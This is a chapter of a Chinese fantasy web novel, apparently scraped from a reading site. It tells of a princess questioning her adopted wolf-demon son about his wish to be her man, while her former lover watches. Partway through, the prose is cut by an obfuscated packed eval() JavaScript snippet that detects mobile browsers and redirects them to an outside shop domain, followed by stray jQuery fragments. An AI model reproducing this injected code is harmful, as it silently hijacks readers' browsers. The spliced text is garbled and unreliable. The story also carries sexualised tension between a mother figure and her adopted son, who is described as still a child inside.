文趣网 > 其他小说 > 娘,我也是个男人啊 > 14. 第 14 章
    “你怎么看?”

    屏退了众人,玉女宫中唯有二人相对。琼灯绕着玉璧四面环映一圈,殿内低矮的宽阶如层层水波彼此相覆,聿九檀只身立在水波之中,青莲紫的丝袍被阶间的夜明珠映得流光,俯身往兽炉中添着香。

    “那狼已经说得如此明白,甚至全无误解的余地。”他将炉门关了,顺手将香匙搁在她习惯之处,“殿下何必再问我。”

    “倘若是因他年岁尚小,顺口胡说呢?他化形才不满三十日,若按仙龄来算,还不过一月……”她坐在榻边,绞尽脑汁。

    “他并非是仙,不能按仙龄算。”聿九檀缓步行来,容颜被夜明珠一晃一晃地点亮,“没有道心的妖上了十一重天,此前没有先例。他如今妖龄几何,应当怎样算,谁也不知。”

    说到底,十一重天并非豢养妖物之处,这样下去,小狼会长成什么样子,谁也无法定论。

    她晓得前路茫茫,可是又实在不知如何放手,揪着披帛上的一根丝线头,没完没了地绕。

    她不说话,他自然会心,又道,“那狼的话已经清楚到如此地步,殿下若仍以其他意思来理解,便是有意误解。”

    她那点自欺欺人的心思破了,长吸了一口气,看着他:“那么,你说,应当如何?”

    聿九檀立在她榻前,眉目被雨落灯映得幽郁:“殿下明白。”

    她当然明白。

    她无话可说,把他留在宫中商议,其实也无甚好商议的,他的意思她不琢磨也懂。良久,脱了锦履上了榻,怏怏地抱住膝盖:“我晓得了,你下去吧。”

    聿九檀立在那儿定了定,她还从未如此利索地叫他退下过。

    有了那一个李松香,如今再见他,是真只有公事了。

    他带点讥诮之色,若无其事地拜手欲去。

    却见姬清淼在上头又招手唤他。

    他不着痕迹地耐心等候,回身,“殿下?”

    她道:“去把小狼叫来,我要再一五一十地好好问问,现在就问。不问出来,我睡不下。”

    聿九檀眼底阴郁得如同沼泽,颔首道,“遵命。”

    “你今夜累不累?”她忽然问了这么一句。

    他等的也许来了,但也太晚了,他去意已决,转过了身。

    “倘若你不累,留在这,陪我一同听吧。”她脸搭在双膝上歪着头,依依地看他,“总机令。”

    “皇子的事,并非指挥院该置喙的,还是同他父亲一同商议比较好。”他不冷不热地迈下宽阶,“殿下还是召未来神山之夫吧。”

    “别说这些话,李松香不过是个草包。”她朝他伸出手,轻声喟叹,“谁比得过总机令大人?”

    幽而甜的嗓子,纤细的,带着寒意啮咬他。

    于是去意已决的人走不动了,但依旧伫在原地,无法上前,回身一哂,“殿下都有了李松香,不会还想要我?”

    姬清淼心领神会,懒懒眨了一回睫毛:“总机令,你吃醋了。”

    聿九檀于是无法再举步,片刻,置之一哂,走回她身侧:“怎敢,殿下说笑了。”

    *

    “你今晚那句话究竟是什么意思?”

    小狼一句话,神山上两位最有权势之人,三更半夜地眼也不合,点灯熬油地陪他熬。

    小狼是愈到了夜里愈精神的,殿里幽暗,他的狼瞳在夜色里亮得吓人,森森冒着绿光。

    “没别的意思,就是想做娘亲的男人。”他化出人身犬坐着,大尾巴盘在屁./股后。

    “怎么就……动了这心思了。”姬清淼一派慈母姿态,亲亲爱爱地招呼他,“你知道什么叫‘做娘亲的男人’?”

    夫子大约教过他,但并未深说。

    姬弗有狼耳动了动,因用脑袋思索得认真,一只耳朵往外扩开。

    “‘做我的男人’,是要同我做什么事,你知道吗?”她试探地,一字一字问他。

    姬弗有依旧是一副小狗表情。从前他听不懂时,也是这副表情。

    她身旁当真做过她男人的那位,本来幽灵似的不语,这会袖手问他,“你对殿下有觊觎之心?”

    “你用的词太难了,他听不懂。”她回身打断,又对小狼道:“你究竟怎么想的,吐出这句话来。跟娘亲说说。”

    姬弗有蹲坐在那,思量了半天,也不知他二人缘何这般紧张,仿佛天柱塌了似的,挠着脑袋道:

    “……夫子说,娘亲只能有一个深爱的男子。然后娘亲说过我也是男子。那么,有了其他男人,娘亲就不会再爱我了,因我也是男子。”

    语声越来越小,到后面哭得很小声,他耷拉着耳朵道:“我受不了这样的事。”

    姬清淼捂着脸孔长长地叹了一声:“弗有……”

    小狼的眼泪珠子啪嗒啪嗒地砸在地板上,垂着头。

    他的人身已经长得十足英俊了,内里却仍是小孩。说是快要发./情了,但还未到那一步。

    “弗有。”她哭笑不得,简直想避开人捶床大笑一会,“我再如何有丈夫,也绝不会不爱你的。我爱你,跟爱其他男人,不一样。”

    “怎么不一样?”小狼蔫着耳朵抬起头,有点希冀。

    “你是我的宝贝,我的儿子啊。”她朝他张开两臂,叫这小动物过来,“男人也许来来去去,今日是他,明日就是新人,但你会永远在我身边。”

    聿九檀不咸不淡地冷眼盯她。

    姬弗有得了她的话,很得了两分安慰,手指头在地上画圈圈:“即便有了丈夫,也会继续爱我吗?”

    姬清淼依旧朝他张着两臂:“会的。”

    “会爱他们比爱我更多吗?”

    他的尾巴不自觉已经摇起来了,他自己在余光里瞧见,一把按住。

    姬清淼也瞧见了,更要笑,“不会的。”

    于是姬弗有腾地窜起身来,两步跑到她榻边,张开手臂就扑她,把她扑得倒在榻上。

    她刚欲笑,“弗有……”不期然就仰了身子,回过神来,姬弗有正儿八经的少年体型给她压得老老实实,她这时候方心里一慌——什么时候,都长得这么大了,哪里是男孩,分明已经是个男人了!这般莫名其妙地压住她……

    她尴尬得欲遁地,心里狂跳,“弗有,起来,你不能这样压我。”

    聿九檀在一旁不声不响地静观。

    “娘亲!”姬弗有亲亲热热地用额头蹭她的脖子。

    近在咫尺的少年,呼吸里都冒着新生之物的热气,喉结随语声滚动着,肌肉竟然硬得像山岩,男人的腹肌原是这么硬的——她越被他抱越心慌,局促地挣扎起来,“弗有,你起来——”

    他抱她,牢固得像枷锁一般,她竟然挣脱不开了。

    他两臂交揽住纤瘦的母亲,任她怎么挣

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608366|205815||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    扎也不理,天真无邪地,垂首逼近她鼻尖。

    然后,那一瞬间,心脏卡了一瞬。

    娘亲鬓发都散乱在枕上,缎子似的光润泽地流淌开来,然后,在那漆黑的云缎中间,是她白瓷般的脸孔。

    脆弱晶莹、圣洁无暇,雪肤桃腮衬得人娇弱又秾艳,双唇软得兀自颤抖,此时蹙了蛾眉,无从抗拒地望着他。

    鼻尖上一点,闪烁起伏的粉汗。

    他嗅得到她的汗的味道。

    微酸的、香气。

    他的心脏茫茫然地坠落下去,不知落去什么地方,嗵地一声。

    “……弗有!”见他逐渐露出一种凶兽一般的眼神,姬清淼心内慌张更甚,使足了力气推他,“起来,小狼!”

    床头哗地一声,流光潋滟开来,她晓得那是聿九檀已甩开了风底扇,急道:“不准动他!”又用言灵术:“姬弗有,起来!”

    小狼当即两臂板直,利利索索地立正,踏着大步子咵咵走开。

    等他又立在她榻前,言灵术效力已过,他噗嗤噗嗤地打泼天似的喷嚏,揉着鼻尖道,“娘亲,今日用的什么胭脂?熏死我也。”

    姬清淼才一怔,今日的胭脂,是李松香打下界拿上来的玩意,她闻着并没有什么不好,但也不清楚这东西的用料,原是这东西的原因吗?

    “这味道你闻不得?”

    小狼扯着领口拼命喘气,使劲扇风,“都把我熏蒙了,娘亲可不要用这个。”

    聿九檀,终于将他那柄呼风唤雨的神兵一折一折收起来,不作声地收入袖中。

    “小鼻子熏坏了没有?”她坐起身来,把方才斜落下去的外裳缓缓提回去。

    夜明珠莹莹交织,她的肩头白得腻人。

    姬弗有目光在她牛乳般的肩上黏了一瞬,顷刻就收回来,喜笑颜开地凑去她脚下蹲着:“没熏坏,还是可以嗅得到娘亲身上的味道。”

    “哦。”这种话,她今夜刚听时,还眼前一黑,这会晓得他纯粹是胡说,也放松了,“娘亲是什么味道?”

    她不再提方才那回事了,姬弗有眼底的晦意滚没下去,什么胭脂?什么熏蒙了?

    他只是有种直觉,若叫她晓得,他仔仔细细地嗅她的汗味,他八成讨不着好。

    今日叫他品出来了。

    他摇着尾巴欢笑:“不施脂粉时,是香香的乳糕味;用些化妆,就是茉莉花。不用奇怪的脂粉,就是香香的。”又很嫌弃地嘟着嘴道,“娘亲少同露华殿里那些男子接触,全都臭死了。没准再把娘亲带臭了。”

    “臭?”那些男人,恨不得一日熏八百遍香来见她,怎么会臭?

    “男人最臭了。他们上了山,我鼻子就没消停过。特别是,接近娘亲时,一个个就奇臭无比——”

    姬清淼这时有些了然,据说有些兽妖可以嗅到人心,有些兽妖可以嗅到欲望,这是妖的天赋。

    那些上来攀亲之人,自然是各个想要她的,急于求成,得失心重,叫他闻了去,大约便是臭味。

    “——就他特殊。”

    姬弗有一双狼眼,在夜色里幽森森、圆溜溜,仿佛一对光珠子,定定地朝聿九檀盯去。

    聿九檀无波无澜地与他相对。

    “——他往日也是臭的,一靠近娘亲,就香了。”

    他手指朝聿九檀一寸不偏地指着:“香得要命,叫我恶心。”